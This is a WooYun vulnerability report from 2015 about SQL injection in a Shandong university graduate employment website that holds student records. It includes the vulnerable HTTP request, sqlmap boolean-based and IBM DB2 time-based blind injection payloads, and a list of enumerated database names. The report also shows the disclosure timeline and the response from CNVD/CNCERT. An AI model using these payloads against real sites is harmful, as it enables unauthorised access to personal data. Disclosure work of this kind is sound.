当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143028

漏洞标题：山东高校毕业生就业信息网存在SQL注入，可影响大批学生档案

相关厂商：cncert国家互联网应急中心

漏洞作者： xunnun

提交时间：2015-09-24 23:34

修复时间：2015-11-13 10:18

公开时间：2015-11-13 10:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-24： 细节已通知厂商并且等待厂商处理中
2015-09-29： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-09： 细节向核心白帽子及相关领域专家公开
2015-10-19： 细节向普通白帽子公开
2015-10-29： 细节向实习白帽子公开
2015-11-13： 细节向公众公开

简要描述：

rt

详细说明：

GET /service/deptRealName/downlocadFile_.action?model.id=1  HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:80/
Cookie: SDBYSSESSIONID=0000-cgP9W8BOY4yg6UXdsNgPHY:13nc2bp3u; JSESSIONID=C0A2361FDCAFD8ED6B97A6AD791B3BB5; CNZZDATA4196300=cnzz_eid%3D1851157946-1442961744-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1442961744; _gscu_1772001665=42967092xh5pjf20; _gscs_1772001665=429670926f06ce20|pv:1; _gscbrs_1772001665=1; jiathis_uniqid=14429695505601f7ce6c555
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


model.id 存在注入

sqlmap identified the following injection point(s) with a total of 284 HTTP(s) requests:
---
Parameter: model.id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: model.id=-1707' OR 8226=8226 AND 'zEBH'='zEBH
    Type: AND/OR time-based blind
    Title: IBM DB2 AND time-based blind (heavy query)
    Payload: model.id=1 ' AND 5496=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND 'GpDY'='GpDY
---
back-end DBMS: IBM DB2
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: model.id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: model.id=-1707' OR 8226=8226 AND 'zEBH'='zEBH
    Type: AND/OR time-based blind
    Title: IBM DB2 AND time-based blind (heavy query)
    Payload: model.id=1 ' AND 5496=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND 'GpDY'='GpDY>


漏洞证明：

back-end DBMS: IBM DB2
available databases [20]:
[*] "tec酅t"
[*] "tec酅txbq"
[*] "t酅tdbu"
[*] "t酅tgvo"
[*] "t酅tjcn"
[*] "t酅tjcnben"
[*] "t酅tjcnjoufsobm"
[*] "t酅tjcnut"
[*] "t酅tqspd"
[*] "t酅ttubu"
[*] "t酅tuppmt"
[*] "酅lquofxa"
[*] "酅lquvtfs"
[*] benjojtusbups
[*] ecajotua
[*] mfjmjo
[*] oo
[*] ovmmje
[*] trmk
[*] xbqbe

修复方案：

版权声明：转载请注明来源 xunnun@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-09-29 10:16

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态：

暂无